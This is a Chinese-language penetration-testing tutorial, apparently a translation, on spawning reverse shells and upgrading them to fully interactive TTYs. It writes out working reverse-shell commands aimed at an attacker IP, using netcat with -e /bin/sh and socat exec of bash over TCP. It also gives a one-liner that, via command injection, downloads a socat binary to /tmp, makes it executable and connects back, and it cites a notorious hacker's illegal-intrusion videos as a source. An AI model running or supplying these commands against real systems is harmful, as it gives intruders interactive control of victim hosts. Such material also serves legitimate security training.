将simpleshell提升为全交互式的TTYshell
- 每个pentester都知道使用netcat获得反向shell并看到该ID的输出令人非常满意的冗长的netcat消息时,会感到非常惊奇。而且,如果其他渗透测试者像我一样,他们也知道失去shell时会感到害怕,因为运行了一个错误的命令,该命令挂起并意外打到“Ctrl-C”,以为它会停止它,但会kill整个连接。
除了不能正确处理SIGINT之外,这些“哑” shell还具有其他缺点:
- 某些命令(例如su和ssh)需要正确的终端才能运行
- 通常不显示STDERR
- 无法正确使用vim等文本编辑器
- 没有完整制表符
- 没有向上箭头的历史记录
- 无工作控制
- 等等…
长话短说,虽然这些shell非常适合使用,但我宁愿在完全交互式的TTY中操作。
我遇到了一些很好的资源,其中包括用于“升级”这些shell的非常有用的技巧和技术,并且希望在文章中进行编译和共享。还与Pentest Monkey一起,从菲尼亚斯·费舍尔(Phineas Fisher)的录像带和非法活动记录中学习了技巧:
- Phineas Fisher Hacks Catalan Police Union Website Pt-1
- Post-Exploitation Without A TTY
生成reverse Shell
每个人都非常熟悉使用netcat获取反向shell的传统方法:
1 | nc -e /bin/sh 10.0.3.4 4444 |
1 | nc -lvp 4444 |
问题是,不是每个服务器都安装了netcat,也不是每个版本的netcat都带有-e选项。
Pentest Monkey的备忘单很棒
Reverse Shell Cheat Sheet
概述了几种不同的方法,但是我最喜欢的技术是使用Metasploit的msfvenom为我生成单行命令。
Metasploit在“cmd/unix”下有多个payload,可用于生成单线正向或反向shell:
这些payload中的任何一个都可以与msfvenom一起使用,以列出所需的原始命令(指定LHOST,LPORT或RPORT)。例如,这是一个不需要-e标志的netcat命令:
这是一个Perl oneliner,以防未安装netcat的情况:
这些都可以通过使用netcat并监听指定的端口(4444)来捕获。
方法1:Python pty模块
捕获一个笨拙的shell之后,很长一段时间以来一直使用的命令之一就是使用Python生成一个pty。pty模块产生一个psuedo-terminal,它可以使su之类的命令误认为它们是在适当的终端中执行的。要升级哑shell,只需运行以下命令:
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
例如,这将使您运行su(除了为您提供更好的提示之外)
不幸的是,这不能解决上面概述的其他一些问题。SIGINT(Ctrl-C)仍将关闭Netcat,并且没有制表符完成或历史记录。但这是一个快速而又肮脏的解决方法,已为提供了无数次帮助。
方法2:使用socat
socat就像类固醇上的netcat一样,是一种非常强大的网络瑞士军刀。Socat可用于通过TCP连接传递完整的TTY。
如果在受害者服务器上安装了socat,则可以使用它启动reverse shell。还必须抓住与socat的连接才能获得全部功能。
以下命令将产生完全交互式的TTY reverse shell:
On Kali (listen):
1 | socat file:`tty`,raw,echo=0 tcp-listen:4444 |
On Victim (launch):
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 |
如果未安装socat,那么您的运气还不错。有一些独立的二进制文件可以从这个很棒的Github存储库中下载:
https://github.com/andrew-d/static-binaries
使用命令注入漏洞,可以将正确的体系结构socat二进制文件下载到可写的Directoy,对其进行chmod,然后在一行中执行reverse shell:
1 | wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 |
在Kali上,您将获得一个完全交互式的TTY会话。它支持制表符补全,SIGINT/SIGSTP支持,vim,向上箭头历史记录等。它是一个完整的终端。很甜.
方法3:使用magic从netcat升级
我看到菲尼亚斯·费舍尔(Phineas Fisher)在他的黑客视频中使用了这种技术,感觉就像魔术一样。基本上,可以通过在您的Kali终端中设置一些stty选项来使用哑的netcat shell升级到完整的TTY。首先,遵循与方法1中相同的技术,并使用Python生成PTY。一旦bash在PTY中运行,请使用Ctrl-Z后台shell
当shell处于后台时,现在检查当前的终端和STTY信息,以便可以强制连接的shell匹配它:
所需的信息是TERM类型(“ xterm-256color”)和当前TTY的大小(“行38;列116”)在shell仍然处于背景中的情况下,现在将当前的STTY设置为raw类型,并使用以下命令告诉它回显输入的字符:
1 | stty raw -echo |
具有原始风格,输入/输出看起来很奇怪,您不会看到下一个命令,但是当您键入它们时,它们正在被处理。接下来用fg前置shell。它将重新打开reverse shell,但是格式将关闭。最后,使用重置重新初始化终端。
注意:我没有再次键入nc命令(如上图所示)。我实际上输入了fg,但是没有回显。nc命令是现在处于前台的作业。然后将reset命令输入到netcat shell中
重置后,shell应再次看起来正常。最后一步是设置shell,终端类型和样式大小以匹配当前的Kali窗口(来自上面收集的信息)
1 | export SHELL=bash |
最终结果是一个完全交互式的TTY,它通过netcat连接具有我们期望的所有功能(选项卡完成,历史记录,作业控制等):
现在的可能性是无止境的。在netcat shell上的Tmux?为什么不?:D
tl; dr速查表
备忘单命令:
- 使用Python作为伪终端
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
- 使用socat
1 | #Listener: |
- 使用样式选项
1 | # In reverse shell |
Enjoy!